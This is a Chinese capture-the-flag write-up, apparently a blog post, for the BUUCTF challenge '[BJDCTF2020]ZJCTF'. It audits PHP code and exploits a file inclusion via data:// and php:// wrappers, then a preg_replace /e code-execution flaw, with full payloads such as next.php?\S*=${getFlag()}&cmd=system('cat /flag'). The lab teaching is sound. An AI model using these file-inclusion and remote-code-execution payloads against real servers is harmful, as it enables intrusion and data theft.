BUUCTF[BJDCTF2020]ZJCTF,不过如此

文章目录

题目

链接:https://buuoj.cn/challenges#[BJDCTF2020]ZJCTF%EF%BC%8C%E4%B8%8D%E8%BF%87%E5%A6%82%E6%AD%A4

解答

1、审计代码

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

需要想办法绕过file_get_contents,想到可以使用data:/text/plain或者php://input
同时对于include可以伪协议进行读取next.php
2、抓包,构造payload
在这里插入图片描述
在这里插入图片描述
3、base64解码得到

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

4、继续审计以下代码
这里主要涉及到preg_replace加上后缀/e,指的是如果匹配到了,就会将preg_replace的第二个参数当做php代码执行
同时需要了解正则的相关知识
首先给出payload吧,相关解释在知识点中给出

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

next.php?\S*=${getflag()}&cmd=show_source('/flag');

next.php?\S%2b=${getFlag()}&cmd=system('cat+/flag');

得到flag
在这里插入图片描述

知识点

1、preg_replace:
功能 : 函数执行一个正则表达式的搜索和替换

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
PHP小于5.5的版本中,$pattern 存在 /e 模式修正符,允许代码执行
/e 模式修正符,使 preg_replace() 将 $replacement 当做php代码来执行

而此题如果匹配成功,就会执行strtolower("\1");’

2、\1经转义就变成\1,而\1在正则表达式中表示自己
参考链接:正则反向引用

这里的 \1 实际上指定的是第一个子匹配项,即(’ . $re . ')中所匹配到的内容。

大致思路:
代码中定义了函数getFlag而没有调用,所以需要想办法调用此函数,再通过cmd传递参数,此参数为需要执行的命令

3、表达式 .* 就是单个字符匹配任意,即贪婪匹配。
表达式 .*? 是满足条件的情况只匹配一次,即最小匹配.
\s 匹配任何空白非打印字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。注意 Unicode 正则表达式会匹配全角空格符。
\S 匹配任何非空白非打印字符。等价于 [^ \f\n\r\t\v]。

构造payload的格式如下:

/?.*=${执行的命令}
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);   // 原先的语句

preg_replace('/(.*)/ei','strtolower("\\1")',${执行的命令});     // 之后的语句

preg_replace('/(\S*)/ei','strtolower("\\1")',${执行的命令});    // 或者构造语句

最终payload:

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

next.php?\S*=${getflag()}&cmd=show_source('/flag');

next.php?\S%2b=${getFlag()}&cmd=system('cat+/flag');

那么,为什么不使用.*而要使用\S*呢?

由Get传入,当以非法字符**(.)**开头的参数就会自动转为下划线,导致匹配失败

4、至于为什么使用${执行的命令}
在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释
而在双引号中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。

preg_replace /e 的这种模式在 php7 是已经被取消了的

参考文章:https://www.cesafe.com/html/6999.html
https://www.freesion.com/article/31021162600/
https://blog.csdn.net/weixin_49656607/article/details/119833707

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值